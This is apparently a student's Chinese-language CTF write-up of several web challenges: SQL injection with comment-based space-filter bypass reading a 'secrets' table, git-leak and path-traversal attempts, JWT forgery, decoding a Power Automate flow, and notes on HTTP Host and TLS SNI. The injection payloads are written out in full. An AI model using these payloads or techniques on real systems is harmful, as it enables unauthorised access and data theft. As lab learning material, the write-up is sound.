1. CampusOneStudent Store
    一个接口/api/debug/sessions 爆不出来 一个字典里面几百万个都没法 虽然感觉这个组合也不是很难 但是一般的爆破都是递归的 也就是说/api能访问 然后才会向下 这个不一样… 所以没法了
    假设知道了吧… 得到了管理员session id抓包去改 然后去访问/admin接口 进行只过滤了空格的sql注入

    这样 sql注入就是最基础的
    列数
    q='/**/order/**/by/**/5--+

    不一样的地方 然后看表名
    '/**/union/**/select/**/1,2,3,name,5/**/from/**/sqlite_master--+
    得到key value
    '/**/union/**/select/**/1,2,3,key,value/**/from/**/secrets--+
    坐等官方wp
    ivory学长说前端有泄露

    接口是暴露的 然后没有要求什么权限 任意都能登录
  2. /view?page=可以实现任意文件读取 ../目录遍历 api文档里面可以看到
    GET /view?page=docs.html
    Retrieves static documentation and system status pages.
    然后部署方式Deployment: Automated via Git-Hooks
    猜测是通过找到JWT密钥拿到权限(可能是极客那个题让我这样想的)

    当时也只能干到这些了 后面学长说是git泄露 那就拿出工具githack

    能扫出来 但是打不开logs objects 前面task9学习了简单的git泄露 看不到关键文件夹

    还是不行的
    学长说githack扫不完 换工具gitdump 这里坑了好久 本地下Docker拉的改名了(轻羽去问了学长的 ) 改个名 正常扫 然后跟着ai走就出来了
  3. Mole in the Wall
    它们的安防系统似乎依赖于 debug/config 目录下的一个 JSON 文件…… 提示
    那么访问一下

完整的 JWT 设计情报 后端在校验 JWT 时,只检查这几个 claim 是否匹配
员工登录这里输入的是token 找到了设计规则 那么自己jwt.io来生成

用这个token去登陆 得到了一个压缩包 里面一个文件
<root><network><path>/api/run-flow</path></network></root>
去这个接口看看
访问了 是405 路径存在但方法不对 POST对了
curl.exe -X POST http://127.0.0.1:4999/api/run-flow {“error”:”invalid input”}`
看其他文件

1
"Display.InputDialog\n        Title: $'''Afton Robotics - Maintenance Mode'''\n        Message: $'''Enter Technician Clearance Code:'''\n        InputType: Display.InputType.Password\n        DefaultValue: $''''\n        IsTopMost: True\n        UserInput=> AuthCode\n\n        Display.ShowMessage\n        Message: $'''Initializing animatronic subsystem...\n        Firmware check in progress.'''\n        Icon: Display.Icon.Information\n        Buttons: Display.Buttons.OK\n        IsTopMost: True\n\n        System.RunDosCommand\n        Command: $'''start https://youtu.be/Blv9qVYlioY?si=wvpDtlWkkbvdjbBm'''\n\n        File.ReadTextFromFile\n        File: $'''%CD%\\logs\\session.log'''\n        Encoding: File.Encoding.UTF8\n        Contents=> EncryptedText\n\n        SET FinalVar TO ''\n\n        FOR Index FROM 0 TO Length(EncryptedText) - 1 STEP 1\n            GetSubtext\n            Text: EncryptedText\n            StartIndex: Index\n            Length: 1\n            Subtext=> Char\n\n            ConvertTextToNumber\n            Text: Char\n            Number=> Ascii\n\n            SET DecodedAscii TO Ascii - 1\n\n            GetCharacterFromAsciiCode\n            AsciiCode: DecodedAscii\n            Character=> DecodedChar\n\n            SET FinalVar TO FinalVar + DecodedChar\n        END\n\n        IF AuthCode = FinalVar THEN\n            XML.ReadFromFile\n            File: $'''%CD%\\config\\settings.xml'''\n            XmlDocument=> XmlConfig\n\n            XML.GetElementValue\n            XmlDocument: XmlConfig\n            XPath: $'''//root/network/path'''\n            Value=> ApiPath\n\n            SET Body TO $'''{ \"input\": \"%FinalVar%\" }'''\n\n            Web.InvokeWebServicePost\n            Url: $'''http://girlypies.rusec.ctf%ApiPath%'''\n            RequestBody: Body\n        ELSE\n            Display.ShowMessage\n            Message: $'''CRITICAL ERROR: Springlocks Engaged.'''\n            Icon: Display.Icon.Error\n            Buttons: Display.Buttons.OK\n        END\n\n        System.RunDosCommand\n        Command: $'''start sounds\\startup_jingle.wav'''\n\n        Display.ShowMessage\n        Message: $'''Animatronic ANIM-04 is online.\n        Stage-ready and awaiting guests.'''\n        Icon: Display.Icon.Warning\n        Buttons: Display.Buttons.OK\n        IsTopMost: True"

这是本来的session.log u$bu_qvsqm4_hvz ascii减一 得到t#at_purpl3_guy
就用powershell来发了

1
2
3
4
5
Invoke-RestMethod `
-Uri http://127.0.0.1:4999/api/run-flow `
-Method POST `
-ContentType "application/json" `
-Body '{"input":"t#at_purpl3_guy"}'

得到

1
2
3
StatusCode        : 200
StatusDescription : OK
Content : {"result":"RUSEC{m1cro$oft_n3ver_mad3_g00d_aut0m4t1on}"}
  1. Commentary
    这一关整理一下网络原理吧

HTTP 协议规定:
请求头和请求体之间必须有一个空行
所以必须是 两个 CRLF(这周做xss了解了的 上面专门写了http协议里面只能解析\r\n)

关于http/1.0 http/1.1
HTTP/1.1 的问题 必须要有 Host: 头 没有就可能返回 400
HTTP/1.0 的特点 不强制 Host

过程
TCP 先DNS解析ctf.rusec.club → x.x.x.x
再TCP三次握手
应用层 无 Host:nginx 无法进行 vhost 匹配

  1. 收到 TCP 连接
  2. 读取 HTTP 请求头
  3. 取 Host 头的值
  4. 在所有 server_name 中查找匹配的 vhost
  5. 找不到 → 使用 default_server
    这里重新温习了一会关于task0的知识 以及https为什么不行
    TCP → TLS → HTTP ssrf的时候了解过
    ClientHello
    ├─ TLS Version
    ├─ Cipher Suites
    └─ SNI: ctf.rusec.club
    在http之前就以及暴露了的